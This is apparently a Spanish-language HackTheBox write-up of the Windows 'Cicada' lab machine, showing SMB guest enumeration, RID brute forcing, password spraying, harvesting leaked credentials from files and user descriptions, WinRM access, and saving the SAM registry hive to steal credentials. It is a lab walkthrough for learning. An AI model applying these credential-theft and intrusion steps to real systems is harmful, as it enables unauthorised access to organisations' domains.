Cicada – HackTheBox Link to heading
- OS: Windows
- Difficulty / Dificultad: Easy /Fácil
- Platform / Plataforma: HackTheBox
Resumen Link to heading
“Cicada” es una máquina de dificultad Fácil de la plataforma HackTheBox
. La máquina permite una sesión como Guest
(invitado) a través del servicio SMB
el cual filtra una contraseña por defecto para nuevos usuarios. Obtenemos potenciales usuarios a través de fuerza bruta del RID
y encontramos un usuario cuya contraseña es la encontrada en el archivo filtrado. Con este nuevo usuario somos capaces de enumerar usuarios en el dominio/máquina, donde uno de ellos filtra una nueva contraseña para sí mismo en su descripción. Este nuevo usuario puede leer un nuevo recurso compartido en SMB
donde se filtran credenciales para un tercer usuario. Este tercer usuairo se puede conectar a la máquina víctima a través de WinRM
, gananado así acceso inicial a la máquina víctima. Ya dentro, vemos que este usuario tiene el privilegio SeBackupPrivilege
habilitado, lo cual nos permite crear copias de archivos sensibles del sistema y así extraer el hash NT del usuario Administrator
. Usando este hash a través de un Pass The Hash
impersonamos al usuario Administrador
, ganando así control total sobre la máquina víctima.
CrackMapExec
, es una “navaja suiza” y cómo podemos completar toda la parte de intrusión/usuario solamente utilizando esta herramienta.User / Usuario Link to heading
Empezamos buscando por puertos TCP
abiertos en la máquina víctima a través de un rápido escaneo con Nmap
:
❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv 10.10.11.35
Scanned at 2025-02-13 20:28:36 -03 for 58s
Not shown: 65522 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
53/tcp open domain syn-ack ttl 127
88/tcp open kerberos-sec syn-ack ttl 127
135/tcp open msrpc syn-ack ttl 127
139/tcp open netbios-ssn syn-ack ttl 127
389/tcp open ldap syn-ack ttl 127
445/tcp open microsoft-ds syn-ack ttl 127
464/tcp open kpasswd5 syn-ack ttl 127
593/tcp open http-rpc-epmap syn-ack ttl 127
636/tcp open ldapssl syn-ack ttl 127
3268/tcp open globalcatLDAP syn-ack ttl 127
3269/tcp open globalcatLDAPssl syn-ack ttl 127
5985/tcp open wsman syn-ack ttl 127
63480/tcp open unknown syn-ack ttl 127
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 58.59 seconds
Raw packets sent: 262138 (11.534MB) | Rcvd: 75 (3.300KB)
Podemos ver múltiples puertos abiertos: 53
Domain Name System
(DNS
), 88
Kerberos
, 135
Microsoft RPC
, 389
Lightweight Directory Access Protocol
(LDAP
), 445
Server Message Block
(SMB
), 5985
Windows Remote Management
(WinRM
); entre otros.
Aplicamos algunos escaneos de reconocimiento sobre estos puertos con Nmap
utilizando la flag -sVC
:
❯ sudo nmap -sVC -p53,88,135,139,389,445,464,593,636,3268,3269,5985,63480 10.10.11.35
Nmap scan report for 10.10.11.35
Host is up (0.42s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-02-14 06:32:21Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after: 2025-08-22T20:24:16
|_ssl-date: TLS randomness does not represent time
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after: 2025-08-22T20:24:16
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after: 2025-08-22T20:24:16
|_ssl-date: TLS randomness does not represent time
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after: 2025-08-22T20:24:16
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
63480/tcp open msrpc Microsoft Windows RPC
Service Info: Host: CICADA-DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2025-02-14T06:33:17
|_ start_date: N/A
|_clock-skew: 6h59m59s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 107.68 seconds
Los puertos abiertos indican que estamos ante una máquina en un entorno Active Directory
.
Empezamos usando NetExec
contra el servicio/protocolo SMB
en la máquina víctima:
❯ nxc smb 10.10.11.35
SMB 10.10.11.35 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
Tenemos un dominio cicada.htb
, el nombre de la máquina CICADA-DC
y un FQDN (el nombre de la máquina con el dominio) CICADA-DC.cicada.htb
.
La máquina aparentemente permite una NULL
session (no proveemos usuario, ni contraseña):
❯ nxc smb 10.10.11.35 -u '' -p ''
SMB 10.10.11.35 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.35 445 CICADA-DC [+] cicada.htb\:
Podemos ver el símbolo [+]
lo cual indica que, aparentemente, la máquina permite NULL
sessions.
No obstante, este es un falso positivo. Cuando tratamos de enumerar recursos compartidos con NetExec
, junto con la flag --shares
, obtenemos STATUS_ACCESS_DENIED
:
❯ nxc smb 10.10.11.35 -u '' -p '' --shares
SMB 10.10.11.35 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.35 445 CICADA-DC [+] cicada.htb\:
SMB 10.10.11.35 445 CICADA-DC [-] Error enumerating shares: STATUS_ACCESS_DENIED
Sin perjuicio de lo anterior, podemos ver si la máquina permite Guest
sessions (sesión como invitado) pasando un usuario aleatorio y ninguna contraseña:
❯ nxc smb 10.10.11.35 -u 'a' -p '' --shares
SMB 10.10.11.35 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.35 445 CICADA-DC [+] cicada.htb\a: (Guest)
SMB 10.10.11.35 445 CICADA-DC [*] Enumerated shares
SMB 10.10.11.35 445 CICADA-DC Share Permissions Remark
SMB 10.10.11.35 445 CICADA-DC ----- ----------- ------
SMB 10.10.11.35 445 CICADA-DC ADMIN$ Remote Admin
SMB 10.10.11.35 445 CICADA-DC C$ Default share
SMB 10.10.11.35 445 CICADA-DC DEV
SMB 10.10.11.35 445 CICADA-DC HR READ
SMB 10.10.11.35 445 CICADA-DC IPC$ READ Remote IPC
SMB 10.10.11.35 445 CICADA-DC NETLOGON Logon server share
SMB 10.10.11.35 445 CICADA-DC SYSVOL Logon server share
Donde hemos proveído el usuario random a
, ninguna contraseña y sí somos capaces de enumerar y ver recursos compartidos. Podemos ver un recurso llamado HR
el cual somos capaces de leer.
Podemos revisar su contenido utilizando NetExec
con algo de spidering (extaer información utilizando parámetros). Podemos usar la flag --spider
junto con el recurso compartido al que queremos aplicar el “spider” (analizar). También podemos proveer el “patrón” a seguir con --pattern
lo cual indica el texto que queremos en los archivos (por ejemplo, si ponemos --pattern txt
esto sólo mostrará archivos llamados test.txt
, filetxt.pdf
, etc). Si queremos mostrar todos los archivos y directorios disponibles sólo usamos un punto (.
):
❯ nxc smb 10.10.11.35 -u 'a' -p '' --spider 'HR' --pattern .
SMB 10.10.11.35 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.35 445 CICADA-DC [+] cicada.htb\a: (Guest)
SMB 10.10.11.35 445 CICADA-DC [*] Started spidering
SMB 10.10.11.35 445 CICADA-DC [*] Spidering .
SMB 10.10.11.35 445 CICADA-DC //10.10.11.35/HR/. [dir]
SMB 10.10.11.35 445 CICADA-DC //10.10.11.35/HR/.. [dir]
SMB 10.10.11.35 445 CICADA-DC //10.10.11.35/HR/Notice from HR.txt [lastm:'2024-08-28 13:31' size:1266]
SMB 10.10.11.35 445 CICADA-DC [*] Done spidering (Completed in 1.4311010837554932)
Hay un archivo Notice from HR.txt
en el recurso HR
.
Podríamos descargar este archivo. Pero antes de ello, NetExec
tiene una opción bastante guapa que permite chequear si la palabra password
se encuentra dentro de un archivo. Para ello, junto con --spider
, podemos agregar la flag --content
para especificar que queremos revisar los contenidos de los archivos, seguida de la opción --regex
junto con la expresión regular que queremos buscar dentro del archivo. Dado que queremos buscar por la palabra password
(en “case insensitive”, sin importar las mayúsculas o minúsculas) es que podemos usar --content --regex '(?i)password'
dentro del recurso compartido HR
como se muestra a continuación:
❯ nxc smb 10.10.11.35 -u 'a' -p '' --spider 'HR' --content --regex '(?i)password'
SMB 10.10.11.35 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.35 445 CICADA-DC [+] cicada.htb\a: (Guest)
SMB 10.10.11.35 445 CICADA-DC [*] Started spidering
SMB 10.10.11.35 445 CICADA-DC [*] Spidering .
SMB 10.10.11.35 445 CICADA-DC //10.10.11.35/HR/Notice from HR.txt [lastm:'2024-08-28 13:31' size:1266 offset:1266 regex:'b'(?i)password'']
SMB 10.10.11.35 445 CICADA-DC [*] Done spidering (Completed in 2.866698741912842)
Podemos ver que el documento //10.10.11.35/HR/Notice from HR.txt
contiene la palabra password
. Esto es muy útil cuando tenemos muchos archivos en lugar de buscar por ellos uno por uno.
Ahora que tenemos un archivo objetivo podemos descargar éste usando NetExec
con la flag --share
junto con --get-file
. Intentamos descargar el archivo Notice from HR.txt
localizado dentro del recurso compartido HR
y guardar este archivo con el nombre leaked_file.txt
en nuestra máquina de atacante como sigue:
❯ nxc smb 10.10.11.35 -u 'a' -p '' --share 'HR' --get-file 'Notice from HR.txt' leaked_file.txt
SMB 10.10.11.35 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.35 445 CICADA-DC [+] cicada.htb\a: (Guest)
SMB 10.10.11.35 445 CICADA-DC [*] Copying "Notice from HR.txt" to "leaked_file.txt"
SMB 10.10.11.35 445 CICADA-DC [+] File "Notice from HR.txt" was downloaded to "leaked_file.txt"
Hemos descargado el archivo como leaked_file.txt
.
Una vez que el archivo ha sido descargado, leemos este archivo con cat
en nuestra máquina de atacantes:
❯ cat leaked_file.txt
Dear new hire!
Welcome to Cicada Corp! We're thrilled to have you join our team. As part of our security protocols, it's essential that you change your default password to something unique and secure.
Your default password is: Cicada$M6Corpb*@Lp#nZp!8
To change your password:
1. Log in to your Cicada Corp account** using the provided username and the default password mentioned above.
2. Once logged in, navigate to your account settings or profile settings section.
3. Look for the option to change your password. This will be labeled as "Change Password".
4. Follow the prompts to create a new password**. Make sure your new password is strong, containing a mix of uppercase letters, lowercase letters, numbers, and special characters.
5. After changing your password, make sure to save your changes.
Remember, your password is a crucial aspect of keeping your account secure. Please do not share your password with anyone, and ensure you use a complex password.
If you encounter any issues or need assistance with changing your password, don't hesitate to reach out to our support team at support@cicada.htb.
Thank you for your attention to this matter, and once again, welcome to the Cicada Corp team!
Best regards,
Cicada Corp
Se habla de el proceso al entrar a la empresa para los nuevos empleados. Aquí la línea importante es:
Your default password is: Cicada$M6Corpb*@Lp#nZp!8
Tenemos una potencial contraseña: Cicada$M6Corpb*@Lp#nZp!8
, pero no tenemos usuarios.
Podríamos usar ahora la flag --users
para obtener potenciales usuarios utilizando la sesión de invitado:
❯ nxc smb 10.10.11.35 -u 'a' -p '' --users
SMB 10.10.11.35 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.35 445 CICADA-DC [+] cicada.htb\a: (Guest)
Pero no vemos output alguno. Por lo que, probablemente, no tenemos permisos para enumerar usuarios con esta opción.
Otra opción es obtener usuarios utilizando la opción --rid-brute
. RID
, o RELATIVE ID
, es una especie de identificador que Windows
asigna cuando creamos un objeto tal cual lo puede ser un usuario o grupo. De manera que, por ejemplo, cuando creamos un usuario en Active directory
, un RID
es asignado a éste. Lo mismo aplica para grupos. Usando --rid-brute
en NetExec
intenta obtener el nombre de los usuarios o grupos realizando fuerza bruta a los valores de RID
hasta 4000
(lo cual se puede cambiar en NetExec
igual). Realizando esta fuerza bruta obtenemos:
❯ nxc smb 10.10.11.35 -u 'a' -p '' --rid-brute
SMB 10.10.11.35 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.35 445 CICADA-DC [+] cicada.htb\a: (Guest)
SMB 10.10.11.35 445 CICADA-DC 498: CICADA\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 500: CICADA\Administrator (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 501: CICADA\Guest (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 502: CICADA\krbtgt (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 512: CICADA\Domain Admins (SidTypeGroup)
<SNIP>
SMB 10.10.11.35 445 CICADA-DC 1106: CICADA\michael.wrightson (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 1108: CICADA\david.orelious (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 1109: CICADA\Dev Support (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 1601: CICADA\emily.oscars (SidTypeUser)
Funcionó. Tenemos usuarios y grupos.
Como sólo queremos mantener los usuarios podemos ver que éstos tienen la palabra/string SidTypeUser
, mientras que para grupos tenemos el string SidTypeGroup
. Por ello podemos jugar un poco filtrando las filas por la palabra SidTypeUser
con grep
, y seleccionar las columnas deseadas usando awk
:
❯ nxc smb 10.10.11.35 -u 'a' -p '' --rid-brute | grep 'SidTypeUser' | awk '{print $6}' | awk -F '\' '{print $2}'
Administrator
Guest
krbtgt
CICADA-DC$
john.smoulder
sarah.dantelia
michael.wrightson
david.orelious
emily.oscars
Guardamos estos usuarios en un archivo llamado domain_users.txt
:
❯ nxc smb 10.10.11.35 -u 'a' -p '' --rid-brute | grep 'SidTypeUser' | awk '{print $6}' | awk -F '\' '{print $2}' > domain_users.txt
Al fin tenemos una lista de potenciales usuarios. Por tanto, podemos intentar un Password Spray
(probar una contraseña para distintos usuarios) y ver si alguno de ellos no ha cambiado la contraseña por defecto de la empresa. Podemos pasar la lista de usuarios que hemos creado al argumento -u
(user) y como contraseña (-p
) pasamos la contraseña filtrada en el archivo. Podemos también usar la opción --continue-on-success
dado que esta contraseña podría ser correcta para más de un usuario y así NetExec
no detiene el ataque Password Spray
al encontrar el primer positivo. Ejecutamos entonces:
❯ nxc smb 10.10.11.35 -u domain_users.txt -p 'Cicada$M6Corpb*@Lp#nZp!8' --continue-on-success
SMB 10.10.11.35 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\Administrator:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\Guest:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\krbtgt:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\CICADA-DC$:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\john.smoulder:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\sarah.dantelia:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB 10.10.11.35 445 CICADA-DC [+] cicada.htb\michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\david.orelious:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\emily.oscars:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
La contraseña coincide para el usuario michael.wrightson
. Por ende, tenemos credenciales válidas: michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8
.
Veamos qué accesos compartidos puede leer este nuevo usuario:
❯ nxc smb 10.10.11.35 -u 'michael.wrightson' -p 'Cicada$M6Corpb*@Lp#nZp!8' --shares
SMB 10.10.11.35 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.35 445 CICADA-DC [+] cicada.htb\michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8
SMB 10.10.11.35 445 CICADA-DC [*] Enumerated shares
SMB 10.10.11.35 445 CICADA-DC Share Permissions Remark
SMB 10.10.11.35 445 CICADA-DC ----- ----------- ------
SMB 10.10.11.35 445 CICADA-DC ADMIN$ Remote Admin
SMB 10.10.11.35 445 CICADA-DC C$ Default share
SMB 10.10.11.35 445 CICADA-DC DEV
SMB 10.10.11.35 445 CICADA-DC HR READ
SMB 10.10.11.35 445 CICADA-DC IPC$ READ Remote IPC
SMB 10.10.11.35 445 CICADA-DC NETLOGON READ Logon server share
SMB 10.10.11.35 445 CICADA-DC SYSVOL READ Logon server share
Desafortunadamente este usuario no tiene acceso a ningún nuevo recurso compartido.
Pero ahora que tenemos un usuario válido en el dominio podríamos enumerar usuarios usando --users
en NetExec
dado que ahora somos capaces de leer sus descripciones:
❯ nxc smb 10.10.11.35 -u 'michael.wrightson' -p 'Cicada$M6Corpb*@Lp#nZp!8' --users
SMB 10.10.11.35 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.35 445 CICADA-DC [+] cicada.htb\michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8
SMB 10.10.11.35 445 CICADA-DC -Username- -Last PW Set- -BadPW- -Description-
SMB 10.10.11.35 445 CICADA-DC Administrator 2024-08-26 20:08:03 1 Built-in account for administering the computer/domain
SMB 10.10.11.35 445 CICADA-DC Guest 2024-08-28 17:26:56 1 Built-in account for guest access to the computer/domain
SMB 10.10.11.35 445 CICADA-DC krbtgt 2024-03-14 11:14:10 1 Key Distribution Center Service Account
SMB 10.10.11.35 445 CICADA-DC john.smoulder 2024-03-14 12:17:29 1
SMB 10.10.11.35 445 CICADA-DC sarah.dantelia 2024-03-14 12:17:29 1
SMB 10.10.11.35 445 CICADA-DC michael.wrightson 2024-03-14 12:17:29 0
SMB 10.10.11.35 445 CICADA-DC david.orelious 2024-03-14 12:17:29 1 Just in case I forget my password is aRt$Lp#7t*VQ!3
SMB 10.10.11.35 445 CICADA-DC emily.oscars 2024-08-22 21:20:17 1
SMB 10.10.11.35 445 CICADA-DC [*] Enumerated 8 local users: CICADA
Tenemos una descripción interesante para el usuario david.orelious
la cual dice:
Just in case I forget my password is aRt$Lp#7t*VQ!3
Muchas gracias, David.
Revisamos si estas credenciales son válidas (usuario david.orelious
y contraseña aRt$Lp#7t*VQ!3
):
❯ nxc smb 10.10.11.35 -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3'
SMB 10.10.11.35 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.35 445 CICADA-DC [+] cicada.htb\david.orelious:aRt$Lp#7t*VQ!3
Las credenciales son correctas. Tenemos un nuevo usuario.
Vemos si este usuario tiene nuevos recursos compartidos que podamos inspeccionar:
❯ nxc smb 10.10.11.35 -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3' --shares
SMB 10.10.11.35 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.35 445 CICADA-DC [+] cicada.htb\david.orelious:aRt$Lp#7t*VQ!3
SMB 10.10.11.35 445 CICADA-DC [*] Enumerated shares
SMB 10.10.11.35 445 CICADA-DC Share Permissions Remark
SMB 10.10.11.35 445 CICADA-DC ----- ----------- ------
SMB 10.10.11.35 445 CICADA-DC ADMIN$ Remote Admin
SMB 10.10.11.35 445 CICADA-DC C$ Default share
SMB 10.10.11.35 445 CICADA-DC DEV READ
SMB 10.10.11.35 445 CICADA-DC HR READ
SMB 10.10.11.35 445 CICADA-DC IPC$ READ Remote IPC
SMB 10.10.11.35 445 CICADA-DC NETLOGON READ Logon server share
SMB 10.10.11.35 445 CICADA-DC SYSVOL READ Logon server share
Podemos leer el recurso DEV
. Ese es nuevo.
Como ya hemos visto, podemos ver qué es lo que contiene el recurso usando las flags --spider
y --pattern .
con NetExec
:
❯ nxc smb 10.10.11.35 -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3' --spider DEV --pattern .
SMB 10.10.11.35 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.35 445 CICADA-DC [+] cicada.htb\david.orelious:aRt$Lp#7t*VQ!3
SMB 10.10.11.35 445 CICADA-DC [*] Started spidering
SMB 10.10.11.35 445 CICADA-DC [*] Spidering .
SMB 10.10.11.35 445 CICADA-DC //10.10.11.35/DEV/. [dir]
SMB 10.10.11.35 445 CICADA-DC //10.10.11.35/DEV/.. [dir]
SMB 10.10.11.35 445 CICADA-DC //10.10.11.35/DEV/Backup_script.ps1 [lastm:'2024-08-28 13:28' size:601]
SMB 10.10.11.35 445 CICADA-DC [*] Done spidering (Completed in 1.4138860702514648)
Tenemos un archivo el cual se llama Backup_script.ps1
que se ve interesante.
Descargamos este archivo usando NetExec
:
❯ nxc smb 10.10.11.35 -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3' --share DEV --get-file 'Backup_script.ps1' 'Backup_script.ps1'
SMB 10.10.11.35 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.35 445 CICADA-DC [+] cicada.htb\david.orelious:aRt$Lp#7t*VQ!3
SMB 10.10.11.35 445 CICADA-DC [*] Copying "Backup_script.ps1" to "Backup_script.ps1"
SMB 10.10.11.35 445 CICADA-DC [+] File "Backup_script.ps1" was downloaded to "Backup_script.ps1"
Ya descargado el archivo, vemos su contenido. Es un script de PowerShell
:
$sourceDirectory = "C:\smb"
$destinationDirectory = "D:\Backup"
$username = "emily.oscars"
$password = ConvertTo-SecureString "Q!3@Lp#M6b*7t*Vt" -AsPlainText -Force
$credentials = New-Object System.Management.Automation.PSCredential($username, $password)
$dateStamp = Get-Date -Format "yyyyMMdd_HHmmss"
$backupFileName = "smb_backup_$dateStamp.zip"
$backupFilePath = Join-Path -Path $destinationDirectory -ChildPath $backupFileName
Compress-Archive -Path $sourceDirectory -DestinationPath $backupFilePath
Write-Host "Backup completed successfully. Backup file saved to: $backupFilePath"
Este sencillo script crea un respaldo/backup del directorio C:\smb
y lo guarda en D:\Backup
usando como “estampilla” (para diferenciar el archivo) la fecha. No obstante, la parte importante del script es:
$username = "emily.oscars"
$password = ConvertTo-SecureString "Q!3@Lp#M6b*7t*Vt" -AsPlainText -Force
Tenemos una nueva contraseña en texto plano para el usuario emily.oscars
. Como hemos encontrado previamente cuando extrajimos usuarios del dominio, este usuario existe en él. Podemos revisar si estas nuevas credenciales son válidas:
❯ nxc smb 10.10.11.35 -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt'
SMB 10.10.11.35 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.35 445 CICADA-DC [+] cicada.htb\emily.oscars:Q!3@Lp#M6b*7t*Vt
Son válidas.
Podemos revisar si este usuario puede conectarse a la máquina víctima a través del servicio WinRM
(cuyo puerto, 5985
, estaba expuesto) también con NetExec
:
❯ nxc winrm 10.10.11.35 -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt'
WINRM 10.10.11.35 5985 CICADA-DC [*] Windows Server 2022 Build 20348 (name:CICADA-DC) (domain:cicada.htb)
WINRM 10.10.11.35 5985 CICADA-DC [+] cicada.htb\emily.oscars:Q!3@Lp#M6b*7t*Vt (Pwn3d!)
Podemos ver el mensaje Pwn3d!
, el cual indica que para el protocolo winrm
las credenciales son correctas y podemos ejecutar comandos remotamente a través de este servicio en la máquina víctima.
Es más, podríamos obtener la flag de usuario utilizando únicamente NetExec
dado que podemos ejecutar comandos de PowerShell
(que es la herramienta que WinRM
utiliza) a través de la flag -X "<comando>"
. Enumeramos primero los directorios en C:\Users
:
❯ nxc winrm 10.10.11.35 -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt' -X 'dir C:\Users\'
WINRM 10.10.11.35 5985 CICADA-DC [*] Windows Server 2022 Build 20348 (name:CICADA-DC) (domain:cicada.htb)
WINRM 10.10.11.35 5985 CICADA-DC [+] cicada.htb\emily.oscars:Q!3@Lp#M6b*7t*Vt (Pwn3d!)
WINRM 10.10.11.35 5985 CICADA-DC [+] Executed command (shell type: powershell)
WINRM 10.10.11.35 5985 CICADA-DC
WINRM 10.10.11.35 5985 CICADA-DC
WINRM 10.10.11.35 5985 CICADA-DC Directory: C:\Users
WINRM 10.10.11.35 5985 CICADA-DC
WINRM 10.10.11.35 5985 CICADA-DC
WINRM 10.10.11.35 5985 CICADA-DC Mode LastWriteTime Length Name
WINRM 10.10.11.35 5985 CICADA-DC ---- ------------- ------ ----
WINRM 10.10.11.35 5985 CICADA-DC d----- 8/26/2024 1:10 PM Administrator
WINRM 10.10.11.35 5985 CICADA-DC d----- 8/22/2024 2:22 PM emily.oscars.CICADA
WINRM 10.10.11.35 5985 CICADA-DC d-r--- 3/14/2024 3:45 AM Public
y leemos la flag de usuario:
❯ nxc winrm 10.10.11.35 -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt' -X 'type C:\Users\emily.oscars.CICADA\Desktop\user.txt'
WINRM 10.10.11.35 5985 CICADA-DC [*] Windows Server 2022 Build 20348 (name:CICADA-DC) (domain:cicada.htb)
WINRM 10.10.11.35 5985 CICADA-DC [+] cicada.htb\emily.oscars:Q!3@Lp#M6b*7t*Vt (Pwn3d!)
WINRM 10.10.11.35 5985 CICADA-DC [+] Executed command (shell type: powershell)
WINRM 10.10.11.35 5985 CICADA-DC 508<SNIP>
Podríamos seguir utilizando solamente NetExec
para resolver la máquina. Pero desde este punto ya podemos utilizar evil-winrm
y las credenciales de emily.oscars
para entrar en la máquina víctima con una consola interactiva:
❯ evil-winrm -i 10.10.11.35 -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt'
Evil-WinRM shell v3.6
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents>
En este punto sólo quise mostrar una fracción de poder de lo que es capaz NetExec
, porque es bastante de muchísimas cosas más.
NT Authority/System - Administrador Link to heading
Revisando los privilegios del usuario emily.oscars
en la consola con evil-winrm
retorna:
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
Tenemos el privilegio SeBackupPrivilege
habilitado. Esto significa que podríamos crear copias de los archivos SAM
y SYSTEM
(los cuales almacenan las credenciales en sistemas Windows
) e intentar extraer las credenciales contenidas en ellas en nuestra máquina de atacantes basados en este blog que recomiendo leer. Primero creamos las copias de los archivos SAM
y SYSTEM
ejecutando:
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> reg save HKLM\SAM sam
The operation completed successfully.
